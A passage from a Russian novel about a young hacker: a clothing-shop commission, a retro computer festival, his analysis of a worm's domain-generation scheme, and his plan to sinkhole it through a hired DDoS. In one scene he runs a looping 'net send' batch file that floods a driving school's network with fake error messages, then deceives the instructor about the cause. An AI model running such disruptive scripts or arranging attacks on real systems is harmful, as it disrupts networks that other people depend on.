Студент, которого Кирилл отправлял на  разведку в  поисках свободных
коммерческих площадей, со своей задачей не справился, потому Кирилл сна‐
рядил бегать по окрестностям Ивана. Этот проныра собрал нужную информа‐
цию буквально за  день, и  Киря свел полученные данные в  аккуратную таб‐
личку.

— А чего, нормально вроде, — хмыкнул Стас, просматривая распечатку.
— Вот на этот вариант обрати внимание. Это с коммуналкой уже цена. Тут

и вход прямо с улицы отдельный, и со двора удобный подъезд для разгрузки
есть.

— Блин, реально. Спасибо, сгоняю туда сегодня, гляну, чё как. Но я вооб‐
ще не по этому вопросу с тобой побазарить хотел…

Стас задумчиво почесал свой орлиный клюв, словно старался подобрать
правильные слова.

— Ты же это, в компах шаришь ведь конкретно? — пытливо посмотрел он
на Кирилла. — Ну вот. Нам интернет‑магазин нужен.

— Секонд‑хенда, что ли?
— Да не, у нас и новые тряпки есть, Турция там всякая, Китай. Три точки

уже по городу открыли, хотим вот в интернете попробовать продавать. Смо‐
жете такой замутить? Ну, чтобы фотки там, «корзина», все как у людей.

Сделать интернет‑магазин, конечно, дело нехитрое, можно даже взять
какой‑нибудь готовый скрипт и  допилить до  нужной кондиции напильником.
Но возиться с этим Кириллу, если честно, совершенно не хотелось, тем более
потенциальный заказчик не внушал ему особого доверия.

— Стас, как  бы тебе объяснить… Интернет‑магазин  — это  же не  просто
программа. Это  база цен и  товаров, которые нужно постоянно обновлять,
для  чего отдельный человек потребуется. Кто‑то должен фотографировать
одежду, обрабатывать заказы, упаковывать их, возить на  почту… На  звонки
клиентов отвечать, разбираться с возвратами… Техподдержка опять же нуж‐
на, потребуется следить за магазином, чинить его, если вдруг чего отвалит‐
ся…

— Да  это все понятно, людей организуем, люди у  нас есть. Ты сам‑то
магазин сделать сможешь?

«Вот как  бы ему деликатно отказать, чтобы не  обидеть?»  — судорожно
размышлял Кирилл. Единственная разумная мысль, сразу пришедшая ему
в  голову,  — зарядить неадекватную цену, чтобы Стас оставил эту идею
и отправился искать другого исполнителя.

— Полторы тысячи баксов,  — пристально посмотрев ему в  глаза, про‐
изнес Киря.

— Базара ноль. Договорились.
— И предоплата сто процентов.
— Пятьдесят. Вторую половину получишь сразу по готовности. По рукам?
Вот ведь, блин, хорошая задумка не  оправдалась. Тяжело вздохнув,

Кирилл пожал протянутую ему ладонь.
— Ща, погодь, денег тебе отслюнявлю,  — полез во  внутренний карман

куртки Стас,  — рублями по  курсу возьмешь? Баксов вообще нет сегодня,
извиняй…

Мероприятие затянулось допоздна, гости и  участники никак не  желали рас‐
ходиться, и  только после того, как  в клуб заявилась недовольная бабка
в домашнем халате, визгливо пожаловавшаяся на шум и грозившаяся вызвать
полицию, Кириллу удалось разогнать толпу по  домам. Наутро все началось
заново, и народу, казалось, только прибавилось. Внутрь уже было практичес‐
ки не зайти: во дворе толпились люди с коробками, пакетами, пластиковыми
контейнерами, в  которых гремели мыши, джойстики, кабели, картриджи
от  «Денди». Двое парней сгрузили на  импровизированный прилавок целую
гору кассет с  криво подписанными списками спектрумовских игр
на  обложках. Какой‑то школьник спросил у  Кирилла, можно ли подключить
куда‑нибудь его «Байт-01», который он «сам перепаял, и  все работает, чес‐
тно‑честно». Затем Серёга объявил конкурс демосцены, вести который
пришлось почему‑то Кириллу. Никакой усилительной аппаратуры они,
разумеется, заранее не  приготовили, поэтому Кире пришлось изо всех сил
перекрикивать людской гомон и орущие из колонок игровые мелодии, из‑за
чего он напрочь сорвал голос. Отстрелявшись с конкурсом и вручив победи‐
телю специально купленную для  этой цели книгу по  программированию,
Кирилл выбежал на  улицу, чтобы глотнуть прохлады, но  вскоре вернулся  —
словно боялся пропустить что‑то важное.

В середине дня произошло то, чего он совсем не ожидал: приехали пред‐
ставители местного кабельного телеканала  — с  большой камерой, яркой
лампой на штативе, микрофоном и вопросами, от которых Кирилл слегка рас‐
терялся. Маша записывала людей в тетрадку уже на пятую страницу и пери‐
одически искала Кирилла взглядом  — будто проверяла, не  снес ли его этот
людской поток с ног. Вместе с телевизионщиками появился и Жора: Кирилл
заметил его протискивающимся меж  столами с  неизменным блокнотиком
в руке.

— Все‑таки получилось, да?  — подмигнул журналист, когда Киря проб‐
рался поближе, чтобы поздороваться.

— Если честно, не  верил до  последнего, так что успех можно списать
на чудо, — честно признался он.

— Тот, кто дарит чудеса другим, должен верить в них сам. Иначе волшебс‐
тво не сработает.

— Кто это сказал? Ницше?
— Амаяк Акопян.
К вечеру стало ясно, что фестиваль зажил своей собственной жизнью.

Люди знакомились, спорили о  моделях «Синклеров», обменивались дис‐
кетами и телефонными номерами, показывали друг другу собственные прог‐
раммы. Несколько ребят устроили мини‑турнир по «Арканоиду», кто‑то запус‐
тил на древнем ноутбуке «Вольфенштейн», привлекая к экрану плотным коль‐
цом всех, кто годами не видел эту игру вживую. Под ногами гостей громким
рыжим волчком вертелся Серёгин спаниель Проня, которого тот притащил
из дома на выгул и все никак не находил минуты отвести обратно, чему пес,
кажется, был только рад.

— Привет. Мне сказали, ты организатор этого балагана?
Кирилл обернулся. Рядом стоял высокий и худой молодой мужчина, чем‑то

неуловимо похожий на  доктора Эмметта Брауна из  трилогии «Назад
в будущее», разве что этот был в очках.

— Да, у  нас тут полный хаос…  — вздохнул Кирилл, пожимая протянутую
руку.

— Меня Петр зовут,  — представился худощавый,  — мы похожий фес‐
тиваль организуем, только чуть побольше твоего. Там, конечно, тоже хаос…
Но такой, конструктивный. В этом году он в «Евразии» проходить будет, двад‐
цать шестого августа. Хочу тебя туда пригласить вместе со всей тусовкой.

— Спасибо, обязательно придем, — растроганно пообещал Кирилл, сде‐
лав в уме заметку.

Конструктивный хаос… Интересное словосочетание. Надо будет запом‐
нить.

Когда вечером Кирилл закрыл дверь за  последним участником и  наконец
отдышался, его глазам предстал форменный бедлам. Столы оказались сдви‐
нуты к  стенам, гирлянда с  флажками сорвана, на  полу тут и  там валялся
мусор. Изрядно замусорили и двор перед входом в клуб — его тоже придется
привести в  порядок, чтобы не  получить потом претензии от  ЖЭКа. Но  тем
не  менее, помимо жуткой усталости, он испытывал ровное, глубокое удов‐
летворение. Все прошло как задумано, а с уборкой они справятся быстро.

— Так может, и  вправду на  фиг Влада с  его техникой?  — возбужденно
вещал Серёга, сидя верхом на  стойке ресепшена и  болтая ногами.  — Рет‐
рокомпы вон как  классно зашли, сделаем тематический клуб со  старыми
играми…

— Это называется «нишевание», — подсказал Киря.
— Нище… что?
— Кафе еще можно открыть, — мечтательно протянула Маша, — кофе тут

сегодня очень не хватало. С печеньками.
— Есть идея поинтереснее,  — напустив в  голос побольше загадочности,

произнес Кирилл.
Дождавшись, когда остальные выжидающе уставятся на  него, он достал

из кармана врученную Стасом пачку купюр и отсчитал каждому ровную стопку.
— Тут один заказчик с большими ушами интернет‑магазин захотел. Маша,

дизайн интерфейса сможешь нарисовать? Отдельно главную страницу,
отдельно карточку товара?

— Ну… Попробую… А образцы есть?
— Вместе и  выберем. Серёг, тебе придется заняться программной

частью.
— Так я в PHP вообще не шарю…
— Я тоже не  шарю. Язык простой, выучишь. За  основу возьмем фривар‐

ный скрипт и  переделаем. А  ты, Вань, раз все ломать так любишь, станешь
у нас тестировщиком.

— Блин, так это  уже целая фирма получается,  — растерянно протянул
Иван. — Как ее назовем, Кирюха?

— «Чез», — не задумываясь, ответил тот.
— Клево. А что это означает?
— Черт его знает… © X
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Кирилл настолько вымотался за  эти сумасшедшие два дня,
что в  понедельник бессовестно продрых до  обеда. Умы‐
ваясь, придирчиво оглядел себя в зеркале: синяк под глазом
уже пожелтел и  выцвел, и, если не  присматриваться, его
вполне можно было принять за  последствия хронической
усталости или недосыпа. А вот со столь же желтым кафелем
в  уборной и  отваливающимися обоями на  стенах нужно
и вправду что‑то делать.

Он вдруг поймал себя на  мысли, что впервые за  долгое время думает
об этой купленной по дешевке квартире не как о временном логове, где мож‐
но перекантоваться до  лучших времен, а  как о  постоянном жилище. Только
вот позвать кого‑то в такое жилище было немного стремно. Серёга‑то ладно,
он на  подобные мелочи обращать внимание не  привык, а  вот при  мысли
о  том, что жирные пятна на  стенах и  драный линолеум на  полу кухни увидит
Маша, становилось неловко. Кириллу вдруг остро захотелось создать хотя бы
иллюзию уюта — накатить минимальный патч к реальности, прежде чем кто‑то
заметит, что грозный хакер Кикс обитает в такой запущенной норе, где отов‐
сюду разве что не  торчат скользкие хвосты червей, а  вот плесенью кое‑где
все‑таки попахивает. Мать этого точно не одобрила бы.

Воодушевившись столь своевременной мыслью, он соорудил себе кофе
с  бутербродом и  принялся остервенело отдирать обои в  коридоре и  в ком‐
нате. За этим увлекательным занятием Кирилл провел следующие несколько
часов, пока не выдохся окончательно. Чтобы немного перевести дух, он вклю‐
чил ноутбук и  запустил «Иду», решив поковырять трояна, которого вытащил
с принесенного Иваном винчестера, — тот уже заждался своего часа.

Трой и вправду оказался непростым. Ту часть, которую писал он сам, Кирилл
решил не трогать, просто еще раз убедился в том, что не ошибся, когда ему
показалось, будто кто‑то без спроса позаимствовал его код. А вот с новыми
функциями, ответственными за  распространение червя, пришлось немного
повозиться.

Судя по  его внутренней логике, обновленный троян и  вправду самос‐
тоятельно копировал себя по сети, но при этом умел выполнять поступающие
с удаленного сервера команды, которые отдавал этой программе неведомый
оператор. Туда же вредонос отсылал отчеты о  проделанной работе
и  информацию о  каждой зараженной машине. И  вот ведь что интересно:
обычно адрес такого управляющего сервера авторы вирусов жестко забива‐
ли непосредственно в коде, в редких случаях — шифровали содержащую его
строку, а  потом заставляли трояна расшифровывать ее в  памяти. Эта прог‐
рамма действовала гораздо умнее.

Червь просыпался каждую полночь по  Гринвичу и  начинал считать. Он
брал сегодняшнюю дату и превращал ее в число, затем добавлял к нему сек‐
ретное значение, известное только ему и  его создателю. Результат пропус‐
кался через хеш‑функцию, превращаясь в бессмысленную кашу из битов.

Но из этой каши червь лепил имена.
Первые восемь символов хеша становились доменом. Червь пытался

соединиться с этим адресом и, если натыкался на пустоту, генерировал сле‐
дующий, а  затем еще  один и  еще. И  так десятки, сотни раз, методично
перебирая математически предсказуемую, но для постороннего глаза совер‐
шенно случайную последовательность. Где‑то на  другом конце планеты его
хозяин делал то же самое. Он знал алгоритм, знал «зерно», знал дату. Его
программа тоже считала, генерируя ту же самую последовательность
доменов. И когда она выдавала очередной адрес, хозяин регистрировал его,
один из тысячи сгенерированных.

Червь находил этот единственный живой домен. Соединение устанав‐
ливалось, приказы загружались, миссия продолжалась. Очень разумный под‐
ход: если очередной домен заблокируют правоохранители или  сам сервак
грохнут из‑за жалоб пострадавших пользователей, ботнет будет жить,
а  таинственный злодей сможет и  дальше отдавать команды зараженным
машинам — расползшиеся по сети трояны просто подключатся к следующему
серверу. Изящное решение, придуманное явно не новичком и не случайным
вирусописателем. Понять  бы еще, кто такой умный и  талантливый изобрел
столь интересный ход…

Кирилл выгрузил образ червя в  виртуальную машину, выставил нужное
время и  значение на  календаре, словил момент полуночного пробуждения
программы, а потом с помощью несложного скрипта начал записывать в тек‐
стовый файл дату и  получившийся домен. Затем следующий, и  еще, и  еще.
Когда набралось изрядное количество строк, Кирилл загнал получившийся
файлик в  написанный им скрипт‑реконструктор, который начал методично
перебирать возможные значения «зерна», для  каждого прогоняя алгоритм
вперед и  сравнивая результат с  наблюдаемыми доменами. В  какой‑то
момент последовательность сошлась так, что программа начала повторять
генерируемые трояном наборы символов. Получилось! «Секретным словом»
оказалась строка  — на первый взгляд бессмысленная, но отче‐

го‑то заставившая Кирилла насторожиться. Нечто странное, неуловимо зна‐
комое привиделось ему в этих символах…

0x4C69616D

Стараясь отогнать наваждение, Кирилл снова открыл бинарник в  дизас‐
семблере. В  сегменте, где червь формировал сообщения, прятались фраг‐
менты текста  — названия внутренних переменных отладки, не  вычищенные
при  сборке: , . Он пробежал бинарник

по  диагонали и  в debug-секции, которую нельзя было увидеть в  рантайме,
внезапно наткнулся на  комментарий: If  you read this  — you’re still faster than
your habits.

WatcherInit TC_ResponseQueue

Кирилл откинулся на  скрипучем стуле. Такие пасхалки‑послания не  появ‐
ляются в коде вредоносов сами собой. Похоже, автор этого поделия неплохо
говорит по‑английски и каким‑то образом смог раздобыть образец его вин‐
локера, который Кирилл совершенно не планировал выпускать в «дикую при‐
роду». А  это возможно только в  одном случае  — если создатель червя вни‐
мательно за  ним следил, а  может быть, даже хотел, чтобы Кирилл об  этом
догадался. Он вновь взглянул на  символы «секретной фразы», мысленно
сопоставил их с  таблицей ASCII… и  наконец разгадал эту причудливую
головоломку.

0x4C  L=
0x69  i=
0x61  a=
0x6D  m=

Загадочный паззл  сложился в понятное Liam. Это была не просто

весточка, не  вызов и  не угроза, а, скорее, привет от  человека, который
в силах заранее просчитать твои шаги и все равно хочет, чтобы ты их сделал.
Впрочем, всегда остается ненулевой шанс, что это  чья‑то чужая игра,
непонятная шахматная партия, которую затеял некто, хорошо знающий рас‐
положение фигур на доске. И Кирилл, при всем своем чутье, не имел права
округлять вероятность до единицы. Иллюзия очевидности — худший эксплоит
в сознании хакера. Сейчас понятно главное: если это действительно Лиам, то
та давняя история с  TerraCore все еще  не окончена. И  цель, похоже, зак‐
лючалась именно в  том, чтобы осторожно напомнить: «я не  потерял тебя
из  виду, парень». Правда, в  этом напоминании  — раздражающе мало
ясности. Зачем он отправил это  послание и  почему  — именно здесь и  сей‐
час?

0x4C69616D

Кирилл задумался, нервно постукивая пальцами по подбородку. Зашитый
в червя алгоритм генерации доменов выглядел красиво и элегантно, но имел
один неочевидный изъян. Зная его секрет, Кирилл мог каким‑то образом
вывести из  строя настоящий командный сервер, а  потом зарегистрировать
следующий домен раньше своего оппонента, кем  бы тот ни  был. И  тогда…
Тогда он сумеет перехватить управление всеми зараженными компьютерами
в сети.

Этот прием в  хакерской среде называют синкхолом. Когда программа
по  известному алгоритму сама придумывает доменные имена для  своего
управляющего центра, ее можно поймать на  опережении. Кирилл уже знал,
какие домены появятся в  будущем, поэтому мог заранее зарегистрировать
один из них и поднять на нем сервер‑ловушку. Для червя это будет выглядеть
так, будто он связался со  своим хозяином, но  на самом деле он попадет
в  контролируемую изолированную инфраструктуру. Простой и  эффективный
ход: не атака на армию, а захват штаба, куда эта армия сама приходит за при‐
казами. Вот только как вырубить уже существующий командный сервак?

На самом‑то деле способ напрашивается только один: DDoS-атака, метод
простой и надежный, как удар ногой по запертой двери. Всего‑то и требует‐
ся — завалить сервер мусорными запросами, забить его канал до отказа так,
чтобы ни  одна зараженная машина не  сумела сквозь него пробиться. Вот
только для  реализации такой атаки тоже нужен ресурс, которого у  Кирилла
сейчас под  рукой нет. Обращаться к  старым знакомым категорически
не хотелось, как не хотелось и лезть на всем известные хакерские площадки
в поисках подходящего исполнителя. Это же опять придется перелопачивать
кучу сообщений, оценивать предложения по  репутации их авторов, вступать
с  ними в  переписку, уточнять детали оплаты, заморачиваться с  гарантами…
Кроме всего прочего, была у этого нежелания как минимум одна рациональ‐
ная причина.

Кирилл вдруг вспомнил яркую, как  вспышка молнии, картинку из  детства:
погруженное в кромешную тьму помещение, залитое таинственным алым све‐
том. Помимо страсти к рыбалке, у отца было еще одно увлечение — он редко
расставался с  тяжелым фотоаппаратом «Зоркий» и  маленьким прибором
в  ароматно пахнущем кожей чехле, который он называл экспонометром.
Нащелкав несколько пленок, отец надолго запирался в  темной ванной ком‐
нате, вызывая недовольное ворчание матери. Там творилось магическое
действо, за  которым так любил наблюдать маленький Кирилл: отец зажигал
небольшую лампу со сменными красными светофильтрами, собирал аккурат‐
но сложенный в чемодан проектор‑фотоувеличитель, доставал глянцеватель,
разливал по  пластиковым ванночкам химические реактивы… Года через два
после его смерти мама вынесла на  помойку все эти вещи, потому что они
занимали полезное место на  антресолях. Сделанные отцом фотографии,
пожелтевшие осколки воспоминаний в  пыльном семейном фотоальбоме  —
остались.

Кирилл вспомнил, как  завороженно созерцал настоящее волшебство:
на  опущенном в  ванночку с  прозрачной жидкостью листе фотобумаги мед‐
ленно проступало изображение — улыбающиеся лица, силуэты домов, кроны
деревьев, покрытые черно‑белой листвой. Так и  сейчас картинка происхо‐
дящего понемногу проявлялась из  небытия, обрастая деталями. Связан ли
до сих пор Лиам с «Террой» или нет, но, вполне вероятно, он потерял Кирил‐
ла из виду. И возможно, этот троян — попытка зацепить его, отследить реак‐
цию, выяснить, где он обитает сейчас. Если Кирилл призовет на помощь мес‐
тных хакеров, это будет след. Яркий, очевидный и совершенно ненужный.

Все еще  пребывая в  глубоких раздумьях, он запустил почтовый клиент.
Среди автоматических уведомлений и пестрой шелухи спама затесался зна‐
чок желтого конверта  — с  уже знакомой ему подписью. Бразилец Габриель
Оливейра прислал короткие слова благодарности: он писал, что модифи‐
кация расшифровщика спасла ему репутацию на  «той стороне сети», где
ошибки запоминают надолго. Значит, Кирилл не  ошибся: этот парень  —
не  просто программист‑любитель, которому вдруг понадобилось восста‐
новить побитые экнкодером файлы.

В конце письма, после подписи, стояла короткая ссылка. Любопытство
взяло верх над  осторожностью: переходить по  ней Кирилл все‑таки
не решился, на всякий случай набрал адрес в браузере вручную. Ссылка вела
на форум, подозрительно похожий на те его русскоязычные аналоги, где тор‐
говали доступами, крадеными учетками и  сканами чужих документов, разве
что сообщения здесь были написаны на португальском языке. Пришлось вос‐
пользоваться онлайновым PROMT’ом. Отыскалась и ветка самого Габриеля:
ничуть не скрываясь, бразилец предлагал услуги по обфускации кода, упаков‐
ке вредоносных программ ради обмана сигнатурных детекторов и среди про‐
чего — распределенные атаки на серверы.

Кирилл прищурился, вглядываясь в экран. Иногда случайный обмен фра‐
зами в  сети  — это  не точка, а  начало нового пути. Достаточно сделать шаг,
и  начинается совсем иная игра с  неизвестным финалом. Он столкнулся
с задачей, а решение внезапно отыскалось само, в сообщении, прилетевшем
с  другого конца планеты. Вряд ли кто‑то, даже если очень захочет, найдет
логическую связь между скромным русским хакером с  окраины Питера
и далекой Бразилией, где в лесах, как известно, водится много диких обезь‐
ян, а в городах живут такие вот замечательные парни, как этот Габриель.

Отбросив сомнения, Кирилл потянулся к клавиатуре.

Подготовительные занятия по  решению экзаменационных билетов проводи‐
лись в компьютерном классе автошколы, где сегодня Кирилл очутился впер‐
вые. И  очень пожалел, что не  заглядывал сюда раньше, потому что класс
напоминал настоящий музей, экспонаты которого вполне могли украсить
придуманный им ретрофестиваль. Машины здесь стояли, кажется, еще 486-е.
На  пожелтевших от  времени системниках горели неоном индикаторы так‐
товой частоты, пузатые дисплеи были прикрыты защитными стеклянными
экранами, которые Кирилл в последний раз видел живьем, кажется, еще ког‐
да учился в  школе. Ради интереса он перегнулся через стол и  заглянул
с  обратной стороны ближайшего системного блока. Так и  есть: локальная
сеть тут собрана на  черном коаксиальном кабеле с  Т‑образными коннекто‐
рами и  торцевыми заглушками, снабженными цепочками заземления. Экий
винтаж! Он пошевелил мышкой, пробуждая ближайший компьютер ото  сна.
Надо же, девяносто восьмая винда!

— Проходим, рассаживаемся,  — ворчливо поторопил учащихся пожилой
преподаватель.

Кирилл занял самый дальний компьютер в классе, бросил на стол рюкзак
и, недовольно ворча, поднял выпавшую оттуда и закатившуюся под стол руч‐
ку. Программа, запущенная на  каждой машине и  развернутая на  полный
экран, была, судя по всему, клиент‑серверной: она показывала билет с оче‐
редным вопросом из серии «В каком порядке транспортные средства должны
пересечь перекресток?», а результаты тестирования отправляла на препода‐
вательский сервер, громоздившийся на отдельном столе в противоположном
углу класса. Чтобы учащиеся не расслаблялись, в углу экрана тикал таймер —
решать задачки нужно было на время.

Проигнорировав яркую картинку с  регулировщиком и  мотоциклистом,
Кирилл нажал Alt + Tab, чтобы добраться до рабочего стола. А вот и он. Щел‐
кнул мышкой на  кнопке «Пуск», открыл главное меню: все ненужные прог‐
раммы отсюда предусмотрительно убрали, оставив только стандартный софт.
Что ж, текстового редактора «Блокнот» вполне достаточно, чтобы написать
в нем простенький командный файл:

@echo off
:loop
net send * ВНИМАНИЕ: Обнаружена критическая ошибка!
goto loop

Сохранив этот файлик прямо на рабочем столе с расширением , Кирилл
запустил его на исполнение. Сначала ничего не происходило, но спустя при‐
мерно минуту машины, как по команде, начали терять связь друг с другом и с
сервером, на экранах тут и там стали выпрыгивать сообщения о критической
ошибке. Сеть 10Base2, да еще и под управлением Windows 98, — очень хруп‐
кая штука…

.bat

В классе поднялся шум и  гомон, слушатели, нервно оглядываясь по  сто‐
ронам, спрашивали, не  повисла ли у  соседей программа. Преподаватель,
хмуря седые брови, уже склонился над сервером, будто пытался приструнить
его одним строгим взглядом. Он нервно кликал мышью по сетевым настрой‐
кам, перезапускал приложение  — но  музейная сеть уже жила своей собс‐
твенной жизнью и  плевать хотела на  его отчаянные попытки привести ее
в чувство.

Выждав ради приличия минут десять, Кирилл поднялся со  своего места
и шагнул к преподавателю.

— Я могу помочь, — сдержанно предложил он. — Я работаю системным
администратором в  районном компьютерном клубе и, кажется, знаю, в  чем
проблема.

— Если можешь, помоги, — ворчливо отозвался тот, — болтать все гораз‐
ды.

Чтобы не вызывать лишних подозрений, Кирилл с умным видом прошелся
по классу, проверяя, надежно ли держится сетевой кабель в разъемах. Затем,
вернувшись на  свое место, остановил и  удалил скрипт. Потом нырнул
под  стол и  осторожно зафиксировал в  Т‑коннекторе свой сегмент кабеля,
который сам же недавно и  ослабил, доставая упавшую ручку. На  коаксиале
малейшее физическое повреждение цепи рубит всю сеть целиком — это ее
главная уязвимость. Без  надежной терминации начинаются отражения сиг‐
нала, и система захлебывается в помехах. Как и ожидал Кирилл, в результате
его нехитрых манипуляций связь чудесным образом восстановилась.

— Кажется, заработало, — вернулся он к преподавателю, вытирая на ходу
ладони о джинсы.

Старик уставился на  него долгим изучающим взглядом из‑под кустистых
бровей.

— Вижу. Парень ты вроде с  головой,  — сказал он уже менее ворчливым
тоном. — Первый раз здесь? Раньше я тебя не видел.

— Первый и, надеюсь, последний, — решил перейти к главному Кирилл.
— В каком смысле?
— Я хотел  бы готовиться самостоятельно. Уже обращался с  этим воп‐

росом к вашему коллеге, но мне отказали. Класс у вас хороший, но пока тут
компьютеры загрузятся, я уже помру от  старости. Интернет и  нужные прог‐
раммы у  меня есть, уверен, что билеты я намного быстрее смогу щелкать
дома. Можно?

Старик усмехнулся.
— Ладно, заслужил. Хочешь учиться сам  — учись. Но  чтобы дисциплина

была! Школьный экзамен по  теории сдашь мне потом как  часики. И  без
фокусов, понял? Как фамилия?

Выходя на  улицу, Кирилл поздравил себя с  небольшой, но  важной
победой: теперь можно не  тратить время на  эту тягомотину. Не  успел он
в  полной мере насладиться по‑весеннему теплым солнцем, уже готовым
закатиться за горизонт, как в кармане запиликал телефон.

— Придурок, — раздался в динамике голос Серёги.
— Не понял? — перехватил поудобнее трубку Кирилл.
— Стасик твой придурок,  — пояснил новоявленный деловой партнер.  —

Знаешь, чего он творит?
— Пока не  знаю, но  уверен, что ты мне сейчас расскажешь во  всех под‐

робностях.
Похоже, спокойный вечер в  уютной домашней обстановке отменяется.

Придется мчаться в  клуб и  разбираться с  очередной внезапно образовав‐
шейся из ниоткуда проблемой. © X
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— Твой Стас — пи…

— Так, хорош,  — прервал Серёгину гневную тираду Кирилл,  — расскажи
толком, что случилось.

— Мы уже работать над  проектом начали. Я платформу
для интернет‑магазина выбрал, структуру базы прикинул. А этот чудак на бук‐
ву эм уже пять раз за день позвонил, чтобы поделиться своими внезапными
гениальными идеями. Причем каждая новая круче предыдущей. То, говорит,
давайте сделаем рекомендательный сервис, то запустим справочник
для модниц, то замутим конкурс красоты среди покупательниц… Если все его
хотелки реализовывать, нам пару сотен программистов нанять придется.

— Не надо делать ничего лишнего, — успокоил товарища Киря, — я с ним
поговорю.

Он уже начал понемногу догадываться, что подписался на маленькую пер‐
сональную катастрофу размером ровно с  одного гиперактивного заказчика.
До  этого Кирилл ни  разу не  ввязывался в  подобные коммерческие проекты,
если не брать в расчет заявки с хакерских форумов. Но там‑то как раз задачи
приходили структурированные, сроки обговаривались более‑менее фик‐
сированные, да и клиенты попадались в основном вменяемые: каждый поль‐
зователь подобных площадок прекрасно понимал, что дергаться лишний раз
не  стоит. Соглашаясь на  эту авантюру и  взяв предоплату, Кирилл ввязался
в проект без договора, без технического задания, без какой‑то бумажки, фик‐
сирующей изначально достигнутое соглашение. И  теперь, слушая Серёгу,
осознал, насколько ошибся.

Внутри у  него неприятно шевельнулось чувство, что они, по  сути, строят
дом по  указаниям человека, который каждую минуту меняет мнение о  том,
как  это здание должно выглядеть. Сегодня возводим сруб, завтра вместо
бревен понадобятся кирпичные стены. Сначала решили соорудить крышу
из  черепицы, послезавтра он придумает купол а‑ля собор Святого Петра.
А если строители вдруг не выдюжат — виноваты, конечно же, будут они. И чем
дольше Кирилл об  этом размышлял, тем яснее понимал: проблемы неиз‐
бежны, потому что правила игры не определены. С самого начала нужно было
составить вместе со  Стасом список задач и  зафиксировать объем работ,
но  он этого не  сделал. Может, потому, что торопился. А  может, потому, что
не хотел показаться занудой. Или, что гораздо честнее, просто впервые стол‐
кнулся с  подобной ситуацией и  не имел ни  малейшего представления,
как  поступить правильно. Теперь Кирилл ясно ощущал, что, раз уж он взял
на себя руководящую роль, проблему предстоит решать ему самому. И раз‐
говор со  Стасом придется вести не  мягко, не  намеками, а  самым обычным,
прозаическим способом: устанавливая границы. Иначе проект их сожрет.

Клуб тоже заметно изменился. Неподключенные компы, которые Влад
пока не удосужился забрать, так и громоздились в углу бесформенной кучей,
а вдоль стен остались стоять древние телевизоры — Кирилл собирался сго‐
нять на  днях на  барахолку и  прикупить пару старых приставок, чтобы воп‐
лотить спонтанно возникшую идею с ретроиграми. А в углу, сдвинув несколь‐
ко столов, ребята организовали своеобразный мини‑офис, где прямо сейчас
кипела работа над  интернет‑магазином. И  эта деловая обстановка слегка
обескураживала, словно Кирилл вдруг шагнул в  чужой, слишком серьезный
мир, возникший там, где еще  недавно царил беспорядочный подростковый
хаос. Всего неделю назад тут стоял запах чипсов, жужжали системники, скри‐
пели стулья, а  шумные компании школьников играли в  сетевые стрелялки,
переговаривались матом и жевали дешевые сухарики. Теперь же помещение
словно сменило роль и примерило на себя строгий деловой костюм, еще не
понимая толком, идет ли ему этот новый образ.

— Ладно, техническое задание я завтра со Стасом обговорю, — попытал‐
ся успокоить Сергея Кирилл,  — как  минимум попробую отключить этот
генератор безумных идей. И со старой техникой постараюсь решить вопрос,
чтобы зал не простаивал, а то Тамара скоро начнет нам вопросы задавать.

Едва он вышел на  улицу, его догнала запыхавшаяся Маша, выскользнув‐
шая из клуба следом за ним.

— Слушай,  — сказала она, пристраиваясь рядом,  — я хотела насчет
дизайна решить. Ты говорил, что у  тебя есть варианты оформления сайта,
а мне нужно от чего‑то отталкиваться.

— Блин, забыл совсем,  — хлопнул себя по  лбу Кирилл.  — Домой
доберусь, пришлю тебе образцы.

— Так пошли к  тебе и  вместе их выберем,  — неожиданно предложила
Маша.

Голос у нее был подозрительно бодрый, будто она заранее знала, что он
скажет «нет», и уже приготовила запасные варианты.

Он на  секунду завис. Идея, прямо скажем, застала его врасплох: Кирилл
совершенно не собирался приглашать девушку в свою не слишком опрятную
конуру, не успев навести в ней хотя бы минимальный порядок.

— Да у меня там сейчас ремонт, — выдал он первую пришедшую в голову
отмазку, — грязь, пыль, ну ты понимаешь.

— Класс, — ответила она как‑то чересчур быстро, на его взгляд, — я тебе
еще и помогу заодно.

— В смысле? — опешил Кирилл.
— В  прямом. Я умею клеить обои и  даже дрель в  руках держать. У  меня

мать с отцом, между прочим, квартирными ремонтами занимаются, они меня
после школы с собой брали иногда, потому что не с кем было оставить. Вот
кое‑чему и научилась.

— Да  там и  делать пока особо нечего, так, мелочи,  — снова попытался
выкрутиться он.

— Прекрасно,  — отрезала Маша.  — Я за  мелочи. Ты в  какой стороне
живешь?

Кирилл включил свет в коридоре, и Маша внимательно осмотрелась.
— Тесновато, но уютненько, — вынесла свой вердикт она, — в принципе,

у  этой берлоги есть шанс стать чем‑то прикольным. Найдется во  что пере‐
одеться?

Кирилл выдал ей свою старую рубашку и треники. Маша по‑хозяйски шаг‐
нула в комнату и скинула джинсы: стоя в прихожей, Кирилл невольно залюбо‐
вался внезапно открывшимся видом стройных ножек и  упругих округлостей
в  крошечных черных трусиках. Девушка определенно почувствовала его
взгляд и, кажется, ничуть не  возражала против того, что он столь бес‐
церемонно ее разглядывает. Чтобы скрыть неловкость, Кирилл сделал вид,
что внимательно изучает ее куртку, висящую на вешалке.

Чувства внутри смешались в причудливый и совсем уж непонятный на вкус
коктейль. Разум подсказывал, что его к ней влечет… или все‑таки нет? Просто
Маша умела держаться так, что к ней тянуло само собой, — ее энергия уди‐
вительным образом заполняла пространство, будто делала комнату чуть ярче,
а его самого отчего‑то заставляла казаться уязвимее. Только вот уязвимости
Кирилл терпеть не  мог. Он слишком хорошо помнил, чем заканчивается
попытка подпустить кого‑то на слишком близкое расстояние, помнил то горь‐
кое разочарование, что остается, когда человек, которому ты безоговорочно
доверял, уходит. Привязанность делает жизнь насыщеннее и  одновременно
превращает ее в хрупкое стекло, готовое рассыпаться от неосторожного при‐
косновения. С  Машей могло случиться то же самое, что уже произошло
с  Трикси: однажды она просто увидит в  нем не  то, что ей показалось прив‐
лекательным вначале, а то, что он порой старательно прятал сам от себя, —
всю его внутреннюю неуверенность, склонность к  сомнениям, недовер‐
чивость. А еще тени прошлого, от которых никуда не деться.

— Чего ты ждешь?  — Маша замерла в  дверях, склонив голову набок.  —
Рождества?

Рубашка была ей чуть велика, но не настолько, чтобы скрыть ладную фигуру,
а  пара незастегнутых пуговиц открывала довольно соблазнительный вид,
от которого у Кирилла на мгновение перехватило дыхание.

— С чего начнем? — проглотив вставший в горле ком, спросил он.
— Для начала нужно отодрать оставшиеся обои. Потом займемся линоле‐

умом на кухне.
— Ну раз нужно отодрать, то я полностью в  вашем распоряжении, мас‐

